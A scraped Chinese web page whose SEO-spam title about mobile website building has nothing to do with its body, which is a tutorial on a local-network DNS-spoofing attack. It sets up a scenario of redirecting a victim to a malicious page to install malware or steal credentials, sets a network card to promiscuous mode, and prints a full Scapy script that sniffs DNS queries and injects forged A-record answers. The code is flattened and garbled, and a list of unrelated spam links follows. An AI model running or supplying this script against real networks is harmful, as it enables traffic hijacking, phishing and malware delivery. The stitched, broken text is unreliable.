当前位置: 首页 > news >正文

手机版网站如何做郑州的建设网站有哪些手续

手机版网站如何做,郑州的建设网站有哪些手续,wordpress自动文章时间插件,百度一下做网站假设在一个的局域网内有两个人#xff1a;Bob和Eve。Eve想让Bob访问他创建的恶意网页#xff0c;这样她就可以通过隐藏性的下载给Bob的计算机上安装恶意软件#xff0c;或者可能展示一个欺骗性的站点来试图窃取Bob的认证信息。#xff08;图片来自以上提供的链接#xff0…假设在一个的局域网内有两个人Bob和Eve。Eve想让Bob访问他创建的恶意网页这样她就可以通过隐藏性的下载给Bob的计算机上安装恶意软件或者可能展示一个欺骗性的站点来试图窃取Bob的认证信息。图片来自以上提供的链接 本测试环境均为centos6.5系统环境 一、设置attacker服务器的网卡模式为混杂模式这样就可以捕获局域网内的所有数据包 ifconfig em1 promisc 查看网卡模式ifconfig em1说明网卡已经是混杂模式 二、编写攻击代码 打开dns_spoof.py脚本文件1 #!/usr/bin/env python 2 #-*- coding -*-:utf-8 3 4 from scapy.all import * 5 importtime6 importlogging7 8 logger logging.getLogger(main)9 logging.basicConfig(format%(levelname)s:%(message)s,levellogging.DEBUG)10 logger.setLevel(logging.DEBUG)11 #Set the interface for scapy to use 12 conf.iface br0 13 #Set the spoofed response 14 spoofed_ip 192.168.28.118 15 16 defsend_response(x):17 #Get the requested domain 18 req_domain x[DNS].qd.qname19 logger.info(Found request for req_domain)20 #First,we delete the existing lengths and checksums.. 21 #We will let Scapy re-create them 22 del(x[UDP].len)23 del(x[UDP].chksum)24 del(x[IP].len)25 del(x[IP].chksum)26 #Lets build our response from a copy of the original packet 27 response x.copy()28 #we need to start by changing our response to be from-ds ,or from the access point. 29 response.FCfield 2L 30 #Switch the MAC addresses 31 #response.addr1,response.addr2 x.addr2,x.addr1 32 response.src,response.dst x.dst,x.src33 #Switch the IP addresses 34 response[IP].src,response[IP].dst x[IP].dst,x[IP].src35 #Switch the ports 36 response.sport,response.dport x.dport,x.sport37 #Set the DNS flags 38 response[DNS].qr 1L 39 response[DNS].ra 1L 40 response[DNS].ancount 1 41 #Lets add on the answer section 42 response[DNS].an DNSRR(43 rrname req_domain,44 type A,45 rclass IN,46 ttl 900,47 rdata spoofed_ip48 )49 #Now,we inject the response! 50 sendp(response)51 logger.info(Sent response: req_domain - spoofed_ip \n)52 53 defmain():54 logger.info(Starting to intercept [CTRLC to stop])55 sniff(prnlambda x: send_response(x),lfilterlambda x:x.haslayer(UDP) and x.dport 53)56 57 if __name__ __main__:58 #Make it happen! 59 main() View Code 该脚本将捕获局域网内的DNS的A记录查询 三、演示为了方便演示将本地dns服务器设置为了223.5.5.5 使用dig 223.5.5.5 www.baidu.com命令测试如下本文借鉴了http://jordan-wright.com/blog/2013/11/15/wireless-attacks-with-python-part-one-the-airpwn-attack/的方式脚本直接使用会有问题做了一下调整局域网环境实验成功。 译文连接http://www.oschina.net/translate/wireless-attacks-with-python-part-one-the-airpwn-attack
http://www.pierceye.com/news/351054/

相关文章:

  • 网站前台代码国内网站主机
  • 网站后台asp源码高明顺德网站建设
  • 网站建设推广软文网络规划设计师考试全程指导(第2版) pdf
  • 备案网站多少钱支持wordpress的空间
  • 哈尔滨网页模板建站wordpress网页设定
  • 哔哩哔哩网站怎么做视频软件进入公众号会不会泄露个人信息
  • 域名过期做的网站怎么办wap网站前景
  • 网站设计公司 宁波少儿编程课
  • 建设信用卡银行积分商城网站网站关键词优化培训
  • 网站建设对电子商务的意义深圳网站设计兴田德润简介
  • 门设计的网站建设北京最大专业网站建设
  • 黄埔建网站公司长沙 网页制作
  • 网站页面海珠网站建设方案
  • 东宁网站制作公司产品彩页设计
  • 郑州大搜索网站为什么要建立网站
  • 广东网站建设公司排名网页设计模板网站免费
  • 佛山网站建设小程序注册营业执照申请
  • 网站建设文案策划鞍山兼职吧
  • 手机投资网站合肥seo优化排名公司
  • 上海网站制作公司的排名药品网站如何建设
  • 模板网站建设包括哪些wordpress怎么加关键词和描述
  • 温岭专业自适应网站建设响应式网站 模版
  • 高端包装设计优化 英语
  • 佛山新网站建设方案笔记本做网站服务器
  • c 企业网站开发杭州百度人工优化
  • 瑞安公司网站建设wordpress 主题和插件下载失败
  • 茶楼网站模板wordpress后台图
  • 做网站的流程方法wordpress 导航栏 排序
  • 当当网书店网站建设案例照片制作相册
  • 手机网站空间wordpress改微博系统